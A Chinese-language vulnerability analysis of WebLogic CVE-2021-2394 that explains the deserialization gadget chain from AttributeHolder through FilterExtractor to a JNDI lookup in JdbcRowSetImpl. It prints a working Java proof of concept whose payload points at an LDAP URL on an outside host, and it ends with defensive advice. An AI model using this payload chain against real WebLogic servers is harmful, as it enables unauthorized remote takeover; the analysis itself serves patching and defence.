weblogic漏洞分析之CVE-2021-2394
字数 3027 2025-08-04 00:38:02
WebLogic漏洞分析之CVE-2021-2394
漏洞概述
Oracle官方在2021年7月安全更新中披露了WebLogic组件存在高危漏洞(CVE-2021-2394)。攻击者可以在未授权情况下通过IIOP、T3协议对存在漏洞的WebLogic Server组件进行攻击,成功利用可接管WebLogic Server。
这是一个二次反序列化漏洞,结合了CVE-2020-14756和CVE-2020-14825的调用链,形成新的调用链绕过WebLogic黑名单列表。
影响版本
- Oracle WebLogic Server 10.3.6.0.0
- Oracle WebLogic Server 12.1.3.0.0
- Oracle WebLogic Server 12.2.1.3.0
- Oracle WebLogic Server 12.2.1.4.0
- Oracle WebLogic Server 14.1.1.0.0
前置知识
ExternalizableLite接口
Coherence组件中的com.tangosol.io.ExternalizableLite接口:
- 继承
java.io.Serializable - 声明了
readExternal和writeExternal方法
ExternalizableHelper类
ExternalizableHelper类可以对实现ExternalizableLite接口的类进行序列化和反序列化操作。关键方法:
readObject: 调用readObjectInternalreadObjectInternal: 根据类型选择解析方法readExternalizableLite: 处理实现ExternalizableLite接口的对象
JdbcRowSetImpl类
关键方法:
getDatabaseMetaData: 调用this.connectconnect: 调用InitialContext#lookup,如果getDataSourceName()为恶意URI,可导致JNDI注入
MethodAttributeAccessor类
关键方法:
getAttributeValueFromObject: 可调用invoke执行任意方法(需getMethod、anObject、parameters可控)
AbstractExtractor类
关键方法:
compare: 调用this.extract
FilterExtractor类
关键特性:
- 实现
ExternalizableLite接口 - 继承
AbstractExtractor - 是绕过补丁的关键类
关键方法:
extract: 调用attributeAccessor.getAttributeValueFromObjectreadExternal: 调用SerializationHelper.readAttributeAccessor从序列化数据还原this.attributeAccessor
TopNAggregator$PartialResult类
静态内部类,实现ExternalizableLite接口。关键方法:
readExternal: 调用ExternalizableHelper还原元素instantiateInternalMap: 创建SortedBag.WrapperComparator并传入comparatoradd: 调用父类add方法
TreeMap类
关键方法:
put: 调用comparecompare: 调用comparator.compare
SortedBag$WrapperComparator类
关键方法:
compare: 调用this.f_comparator.compare
AttributeHolder类
漏洞入口点,实现readExternal方法,还原this.m_oValue时会调用ExternalizableHelper.readObject
漏洞分析
调用链(Gadget)
AttributeHolder#readExternalExternalizableHelper#readObjectExternalizableHelper#readExternalizableLiteTopNAggregator$PartialResult#readExternalTopNAggregator$PartialResult#addSortedBag#addTreeMap#putSortedBag$WrapperComparator#compareFilterExtractor#compareFilterExtractor#extractMethodAttributeAccessor#getAttributeValueFromObjectMethod.invokeJdbcRowSetImpl#getDatabaseMetaDataInitialContext#lookup
漏洞触发流程
- 反序列化从
AttributeHolder#readExternal开始 - 通过
ExternalizableHelper还原this.m_oValue - 进入
TopNAggregator$PartialResult#readExternal还原m_comparator - 实例化
FilterExtractor对象并调用其readExternal FilterExtractor#readExternal调用SerializationHelper.readAttributeAccessor还原attributeAccessor- 创建
SortedBag.WrapperComparator并传入comparator - 将
WrapperComparator传入TreeMap构造方法 - 调用
add方法触发TreeMap#put put方法调用compare- 通过
WrapperComparator#compare调用FilterExtractor#compare FilterExtractor#extract调用MethodAttributeAccessor#getAttributeValueFromObject- 通过反射调用
JdbcRowSetImpl#getDatabaseMetaData - 最终触发
InitialContext#lookup实现JNDI注入
POC分析
import com.sun.rowset.JdbcRowSetImpl;
import com.supeream.serial.Serializables;
import com.tangosol.coherence.servlet.AttributeHolder;
import com.tangosol.util.SortedBag;
import com.tangosol.util.aggregator.TopNAggregator;
import oracle.eclipselink.coherence.integrated.internal.querying.FilterExtractor;
import org.eclipse.persistence.exceptions.DescriptorException;
import org.eclipse.persistence.internal.descriptors.MethodAttributeAccessor;
import org.eclipse.persistence.mappings.AttributeAccessor;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class test {
public static void main(String[] args) throws Exception {
String ldapurl="ldap://192.168.202.1:1389/2rp7lc";
MethodAttributeAccessor accessor = new MethodAttributeAccessor();
accessor.setAttributeName("yangyang");
accessor.setGetMethodName("connect");
accessor.setSetMethodName("setConnection");
Constructor<JdbcRowSetImpl> DeclaredConstructor = JdbcRowSetImpl.class.getDeclaredConstructor();
DeclaredConstructor.setAccessible(true);
JdbcRowSetImpl jdbcRowSet = DeclaredConstructor.newInstance();
jdbcRowSet.setDataSourceName(ldapurl);
FilterExtractor extractor = new FilterExtractor(accessor);
FilterExtractor extractor1 = new FilterExtractor(new TLSAttributeAccessor());
SortedBag sortedBag = new TopNAggregator.PartialResult(extractor1, 2);
sortedBag.add(jdbcRowSet);
Field m_comparator = sortedBag.getClass().getSuperclass().getDeclaredField("m_comparator");
m_comparator.setAccessible(true);
m_comparator.set(sortedBag, extractor);
AttributeHolder attributeHolder = new AttributeHolder();
Method setInternalValue = attributeHolder.getClass().getDeclaredMethod("setInternalValue", Object.class);
setInternalValue.setAccessible(true);
setInternalValue.invoke(attributeHolder, sortedBag);
// 序列化
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("poc.ser"));
objectOutputStream.writeObject(attributeHolder);
objectOutputStream.close();
// 反序列化触发漏洞
ObjectInputStream objectIntputStream = new ObjectInputStream(new FileInputStream("poc.ser"));
objectIntputStream.readObject();
objectIntputStream.close();
}
public static class TLSAttributeAccessor extends AttributeAccessor {
public Object getAttributeValueFromObject(Object o) throws DescriptorException {
return this.attributeName;
}
public void setAttributeValueInObject(Object o, Object o1) throws DescriptorException {
this.attributeName = "yangyang";
}
}
}
防御措施
- 及时安装Oracle官方发布的安全补丁
- 限制WebLogic Server的网络访问,禁用不必要的协议(如T3、IIOP)
- 实施网络隔离,将WebLogic Server置于DMZ区域
- 使用Web应用防火墙(WAF)检测和阻断恶意请求
- 监控异常网络活动,特别是对LDAP/RMI服务的出站连接
参考链接
- https://xz.aliyun.com/t/10052#toc-12
- https://github.com/lz2y/CVE-2021-2394